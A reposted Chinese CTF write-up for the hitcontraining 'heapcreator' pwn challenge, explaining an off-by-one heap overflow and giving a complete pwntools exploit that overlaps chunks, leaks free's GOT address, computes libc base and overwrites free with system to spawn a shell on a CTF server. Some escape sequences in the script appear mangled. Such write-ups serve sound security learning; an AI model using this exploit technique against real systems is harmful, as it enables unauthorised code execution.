zoukankan      html  css  js  c++  java
  • Unlink hitcontraining_heapcreator

    程序分析

    先检查下保护,64位程序,只有基本的栈保护

     create_heap函数,先创建一个大小为16的结构体,两个成员一个是int size,另一个是char* content

     edit_heap()函数,有单字节的溢出

     show_heap()函数,打印函数

     delete函数,看起来没什么问题

     思路分析

    1、利用单字节溢出,申请一个x8大小的size,修改下一个堆的size,使得堆重叠

    2、堆重叠后,释放,再创建,将free_got覆盖到struct结构体content处

    3、通过show函数打印content的内容,获得free_got的地址

    4、通过edit修改被修改后的堆,修改为system函数

     1 from pwn import *
     2 
     3 #context.log_level='debug'
     4 
     5 #sh=process('./heapcreator')
     6 sh=remote('node3.buuoj.cn',29428)
     7 libc=ELF('./libc-2.23.so')
     8 elf=ELF('./heapcreator')
     9 
    10 def create(length,value):
    11     sh.recvuntil("Your choice :")
    12     sh.sendline("1")
    13     sh.recvuntil("Size of Heap :")
    14     sh.sendline(str(int(length)))
    15     sh.recvuntil("Content of heap:")
    16     sh.sendline(value)
    17 def edit(index,value):
    18     sh.recvuntil("Your choice :")
    19     sh.sendline("2")
    20     sh.recvuntil("Index :")
    21     sh.sendline(str(int(index)))
    22     sh.recvuntil("Content of heap : ")
    23     sh.sendline(value)
    24 def show(index):
    25     sh.recvuntil("Your choice :")
    26     sh.sendline("3")
    27     sh.recvuntil("Index :")
    28     sh.sendline(str(int(index)))
    29 def delete(index):
    30     sh.recvuntil('Your choice :')
    31     sh.sendline('4')
    32     sh.recvuntil('Index :')
    33     sh.sendline(str(int(index)))
    34 
    35 create(0x18,'pppp')
    36 create(0x10,'pppp')
    37 create(0x10,'pppp')
    38 
    39 
    40 
    41 edit(0,'/bin/shx00'+'p'*0x10+'x81')
    42 delete(1)
    43 create(0x70,'p'*0x10+p64(0)+p64(0x21)+p64(0x70)+p64(elf.got['free']))
    44 show(1)
    45 
    46 free_addr=u64(sh.recvuntil('x7f')[-6:].ljust(8,'x00'))
    47 print(free_addr)
    48 libc_base=free_addr-libc.symbols['free']
    49 system_addr=libc_base+libc.symbols['system']
    50 
    51 edit(1,p64(system_addr))
    52 delete(0)
    53 
    54 sh.interactive()
  • 相关阅读:
    风险投资
    a blog about grid stytem
    960gs
    css布局学习资料
    rails测试
    telecommuting
    blueprint
    google +buttons style
    960gs
    960gs tips
  • 原文地址:https://www.cnblogs.com/pppyyyzzz/p/13875705.html
Copyright © 2011-2022 走看看